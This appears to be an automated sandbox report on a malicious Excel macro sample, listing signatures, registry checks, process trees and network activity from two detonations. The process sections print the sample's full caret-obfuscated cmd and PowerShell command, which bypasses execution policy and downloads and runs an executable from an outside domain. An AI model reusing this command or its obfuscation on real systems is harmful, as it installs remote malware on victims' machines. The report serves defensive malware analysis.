Malware Analysis Report

2025-03-15 07:58

Sample ID 240815-db4gaswcnq
Target 3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b
SHA256 3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b
Tags
execution macro macro_on_action discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b

Threat Level: Known bad

The file 3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b was found to be: Known bad.

Malicious Activity Summary

execution macro macro_on_action discovery

Process spawned unexpected child process

Office macro that triggers on suspicious action

Suspicious Office macro

Command and Scripting Interpreter: PowerShell

Command and Scripting Interpreter: PowerShell

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: AddClipboardFormatListener

Enumerates system info in registry

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-15 02:50

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-15 02:50

Reported

2024-08-15 02:52

Platform

win10v2004-20240802-en

Max time kernel

47s

Max time network

35s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cMd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc

C:\Windows\SYSTEM32\cMd.exe

cMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'

Network

Country Destination Domain Proto
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 19.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 cedacriall.faith udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 104.193.132.51.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp

Files

memory/3188-0-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp

memory/3188-1-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp

memory/3188-2-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp

memory/3188-3-0x00007FFFD5EAD000-0x00007FFFD5EAE000-memory.dmp

memory/3188-4-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp

memory/3188-5-0x00007FFF95E90000-0x00007FFF95EA0000-memory.dmp

memory/3188-6-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/3188-10-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/3188-11-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/3188-9-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/3188-15-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/3188-17-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/3188-18-0x00007FFF93530000-0x00007FFF93540000-memory.dmp

memory/3188-19-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/3188-21-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/3188-20-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/3188-16-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/3188-14-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/3188-13-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/3188-12-0x00007FFF93530000-0x00007FFF93540000-memory.dmp

memory/3188-7-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/3188-8-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

memory/2752-306-0x000002C7F65F0000-0x000002C7F6612000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_puthtgfd.unj.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 8c0cef91588b6ed43c7848c5aff1d01a
SHA1 766aa0749a39d5b0d2a3a972d87834fb04df969f
SHA256 aefcb4eaef0a06711744c04c66844b3afd04c8549ea8fe1ae35252073a4ec1a9
SHA512 e9e69471c2fdcc402551a514d61ec2689d71ef7689d62476632fba9008eb12f5e61d50490e68981f5069e547a8998d0c16657f13e27dc74b6255a517060ef4c7

memory/3188-318-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-15 02:50

Reported

2024-08-15 02:52

Platform

win7-20240729-en

Max time kernel

19s

Max time network

16s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cMd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cMd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2688 wrote to memory of 2748 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\splwow64.exe
PID 2688 wrote to memory of 2748 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\splwow64.exe
PID 2688 wrote to memory of 2748 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\splwow64.exe
PID 2688 wrote to memory of 2748 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\splwow64.exe
PID 2688 wrote to memory of 916 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\cMd.exe
PID 2688 wrote to memory of 916 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\cMd.exe
PID 2688 wrote to memory of 916 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\cMd.exe
PID 2688 wrote to memory of 916 N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE C:\Windows\SysWOW64\cMd.exe
PID 916 wrote to memory of 1996 N/A C:\Windows\SysWOW64\cMd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 916 wrote to memory of 1996 N/A C:\Windows\SysWOW64\cMd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 916 wrote to memory of 1996 N/A C:\Windows\SysWOW64\cMd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 916 wrote to memory of 1996 N/A C:\Windows\SysWOW64\cMd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\cMd.exe

cMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'

Network

Country Destination Domain Proto
US 8.8.8.8:53 cedacriall.faith udp

Files

memory/2688-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2688-1-0x000000007259D000-0x00000000725A8000-memory.dmp

memory/2688-244-0x00000000066B0000-0x00000000067B0000-memory.dmp

memory/2688-125-0x00000000066B0000-0x00000000067B0000-memory.dmp

memory/2688-246-0x00000000066B0000-0x00000000067B0000-memory.dmp

memory/2688-245-0x00000000066B0000-0x00000000067B0000-memory.dmp

memory/2688-44-0x00000000066B0000-0x00000000067B0000-memory.dmp

memory/2688-249-0x000000007259D000-0x00000000725A8000-memory.dmp

memory/2688-250-0x00000000066B0000-0x00000000067B0000-memory.dmp